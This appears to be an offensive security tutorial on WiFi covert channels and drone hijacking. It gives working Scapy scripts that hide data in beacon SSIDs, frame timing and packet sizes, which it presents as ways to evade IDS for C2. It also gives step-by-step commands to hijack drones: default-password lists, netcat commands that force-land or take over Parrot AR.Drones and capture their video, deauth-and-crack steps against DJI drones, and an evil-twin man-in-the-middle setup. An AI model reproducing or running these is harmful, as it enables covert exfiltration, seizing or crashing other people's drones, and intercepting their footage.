Covert Channels and Drone Hijacking
Covert Channels in WiFi
Covert channels hide data transmission within seemingly normal WiFi traffic to evade detection. Unlike overt exfiltration that triggers IDS alerts, covert channels embed data in protocol fields not typically monitored—beacon frames, timing patterns, packet sizes, or management frames. These techniques are used by sophisticated malware and APTs to communicate with C2 servers through corporate firewalls.
WiFi offers rich opportunities for covert channels because of its complexity. Management frames (beacons, probes, authentication) are sent unencrypted and rarely logged. Timing between frames can encode bits without sending obvious data. Even encrypted networks leak information through traffic analysis. These channels often bypass application-layer security that only inspects IP packets.
1. Beacon Frame Data Hiding
WiFi beacon frames are broadcast every 100ms (default) and contain network information like SSID, supported rates, and vendor-specific information elements (IEs). These fields can carry hidden data. For example, encode your message in the SSID (up to 32 bytes) or hide it in proprietary vendor IEs that most monitoring tools ignore. The sender broadcasts fake APs with encoded SSIDs; the receiver captures beacons and extracts the data.
This technique is particularly stealthy because beacon frames are ubiquitous—every AP broadcasts them constantly. Your covert beacons blend into the background noise of hundreds of nearby APs. Detection requires actively parsing SSID patterns or vendor IE content, which most IDS systems don't do. Throughput is limited (~320 bytes/sec with 32-byte SSIDs at 100ms intervals) but sufficient for C2 communication.
# Hide data in WiFi beacons (SSID, vendor IE)
# Sender:
#!/usr/bin/env python3
from scapy.all import *
def send_covert(data, iface="wlan0mon"):
# Encode data in SSID
for byte in data:
ssid = f"Free_WiFi_{byte:02x}"
beacon = RadioTap() / \
Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2="aa:bb:cc:dd:ee:ff", addr3="aa:bb:cc:dd:ee:ff") / \
Dot11Beacon(cap=0x1111) / \
Dot11Elt(ID='SSID', info=ssid)
sendp(beacon, iface=iface, verbose=False)
time.sleep(0.1)
send_covert(b"SECRET", "wlan0mon")
# Receiver:
def receive_covert(iface="wlan0mon"):
packets = sniff(iface=iface, filter="type mgt subtype beacon", count=100)
data = ""
for pkt in packets:
if Dot11Elt in pkt:
ssid = pkt[Dot11Elt].info.decode()
if ssid.startswith("Free_WiFi_"):
hex_byte = ssid.split("_")[-1]
data += chr(int(hex_byte, 16))
return data
print(receive_covert("wlan0mon"))2. Timing-Based Covert Channel
Instead of hiding data in frame content, encode it in inter-frame timing. The sender modulates the delay between transmitted frames to represent binary data: short delay = 0, long delay = 1. The receiver timestamps incoming frames and decodes the bit pattern from timing deltas. This works even through firewalls and encrypted tunnels because timing is observable externally.
Advantages: No unusual frame content triggers IDS, works on encrypted networks, can be combined with legitimate traffic (modulate delays of normal packets). Challenges: Low bandwidth (typically 10-100 bits/second), susceptible to network jitter, requires time synchronization between sender/receiver. Best used for short messages like crypto keys or C2 commands rather than bulk data exfiltration.
# Use inter-frame delays to encode data
# Binary encoding: short delay=0, long delay=1
from scapy.all import *
import time
def send_timing_covert(bits, iface="wlan0mon"):
for bit in bits:
# Send probe request
probe = RadioTap() / \
Dot11(type=0, subtype=4, addr1="ff:ff:ff:ff:ff:ff", addr2="aa:bb:cc:dd:ee:ff") / \
Dot11ProbeReq() / \
Dot11Elt(ID='SSID', info="")
sendp(probe, iface=iface, verbose=False)
# Delay encodes bit
if bit == '0':
time.sleep(0.01) # 10ms = 0
else:
time.sleep(0.05) # 50ms = 1
# Send "HELLO" (01001000 01000101 ...)
message = "HELLO"
bits = ''.join(format(ord(c), '08b') for c in message)
send_timing_covert(bits, "wlan0mon")3. Packet Size Covert Channel
# Encode data in padding/packet length
def send_size_covert(data, iface="wlan0mon"):
for byte in data:
# Packet size encodes byte value
padding = b'\x00' * int(byte)
frame = RadioTap() / \
Dot11(type=0, subtype=4) / \
Dot11ProbeReq() / \
Dot11Elt(ID='SSID', info="CovertAP") / \
Raw(load=padding)
sendp(frame, iface=iface, verbose=False)
send_size_covert(b"\x48\x45\x4c\x4c\x4f", "wlan0mon") # HELLODrone WiFi Hijacking
Consumer drones often use WiFi for communication between the drone and controller or mobile app. This creates an attack surface: if you can compromise the WiFi link, you can take control of the drone. Depending on the manufacturer, this ranges from trivial (open networks, default passwords) to difficult (encrypted with certificate pinning). The most vulnerable are budget drones and older models.
Attack motivation: Beyond pranks, drone hijacking has serious implications—disable security drones, intercept aerial footage, crash drones in restricted airspace, or use hijacked drones for malicious purposes. Law enforcement and military use specialized RF jamming, but WiFi-based attacks work from a laptop and are harder to detect than broadband jamming which is illegal.
1. Drone WiFi Reconnaissance
First, identify drone WiFi networks by SSID patterns. Common patterns: DJI drones use "DJI-XXXXXXX" where X is part of the serial number; Parrot AR.Drones use "ARDRONE_XXXXXX" or "Bebop_XXXXXX"; Hubsan uses "HUBSAN-FPV_XXXXXX". You can also identify by MAC address OUI (first 3 bytes)—DJI commonly uses 60:60:1F, 34:D2:62, D4:A9:0D; Parrot uses A0:14:3D, 90:03:B7.
Once identified, check security: Older AR.Drones use completely open networks with no password. DJI uses WPA2 but often with weak or default passwords (12341234, 88888888, or a pattern based on serial number). Some drones allow changing the password but many users leave defaults. After identifying the network, attempt connection with common passwords before resorting to cracking.
# Common drone WiFi patterns:
# - DJI: SSID="DJI-XXXXXXX"
# - Parrot: SSID="ARDRONE_XXXXXX" or "Bebop_XXXXXX"
# - Hubsan: SSID="HUBSAN-FPV_XXXXXX"
# Scan for drones
sudo airodump-ng wlan0mon | grep -i "DJI|ARDRONE|BEBOP|HUBSAN"
# Identify drone by OUI
# DJI: 60:60:1F, 34:D2:62, D4:A9:0D
# Parrot: A0:14:3D, 90:03:B7
# Check for default credentials
# AR.Drone: Open network (no password!)
# DJI: Often weak PSK2. AR.Drone Hijacking (Parrot)
Parrot AR.Drone 1.0 and 2.0 are notorious for having zero security. The drone creates an open WiFi network that anyone can join. Once connected, the drone exposes telnet (port 23) with no authentication and FTP (port 21) with anonymous login. You can literally telnet in and start sending flight commands via UDP port 5556.
Control protocol: AR.Drone uses AT commands sent via UDP. Commands include REF (takeoff/land/emergency), PCMD (movement—pitch/roll/yaw/altitude), CONFIG (change settings), and COMWDG (watchdog reset). The drone also streams video on TCP port 5555 (unencrypted). This design was meant for easy app development but makes hijacking trivial—any device on the network can send commands.
Attack scenario: Attacker joins drone's WiFi, sends emergency reset command to disconnect the legitimate controller, then sends takeoff/movement commands. The legitimate user sees their app disconnect and the drone no longer responds. Some implementations try to rate-limit command sources, but the emergency command always works, allowing denial of service (forced landing).
# AR.Drone 1.0/2.0 - Telnet control
# Default: No authentication!
# Connect to drone WiFi
sudo nmcli device wifi connect "ARDRONE_XXXXXX"
# Telnet to drone
telnet 192.168.1.1
# Control commands (UDP port 5556)
echo -ne "AT*REF=1,290717696\r" | nc -u 192.168.1.1 5556 # Emergency reset
echo -ne "AT*PCMD=1,1,0,0,0,0\r" | nc -u 192.168.1.1 5556 # Hover
echo -ne "AT*REF=1,290718208\r" | nc -u 192.168.1.1 5556 # Takeoff
echo -ne "AT*REF=1,290717696\r" | nc -u 192.168.1.1 5556 # Land
# Video stream (TCP port 5555)
nc 192.168.1.1 5555 > drone_video.h2643. DJI Drone Attacks
# DJI drones use AES-encrypted WiFi
# But often weak PSK or default passwords
# Crack DJI WiFi
sudo airodump-ng -c <CHANNEL> --bssid <DJI_MAC> -w dji wlan0mon
# Deauth to capture handshake
sudo aireplay-ng -0 5 -a <DJI_MAC> wlan0mon
# Crack with wordlist
aircrack-ng dji-01.cap -w dji_wordlist.txt
# Common DJI passwords:
# - 12341234
# - 88888888
# - Default format: DJI-<serial_last_6_digits>
# Once connected (usually 192.168.1.0/24):
# FTP: 192.168.1.1:21 (sometimes open!)
# Telnet: 192.168.1.1:23
# HTTP: 192.168.1.1:80 (web interface)4. Drone MitM Attack
# Setup evil twin for drone
sudo airbase-ng -e "DJI-XXXXXXX" -c <CHANNEL> wlan0mon
# DHCP server
sudo apt install dnsmasq
# /etc/dnsmasq.conf
interface=at0
dhcp-range=192.168.1.100,192.168.1.200,12h
# Enable forwarding
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
# When controller connects to fake AP:
# Intercept control traffic
sudo tcpdump -i at0 -w drone_mitm.pcap
# Inject malicious commands
# (Protocol-specific: MAVLink for some, proprietary for DJI)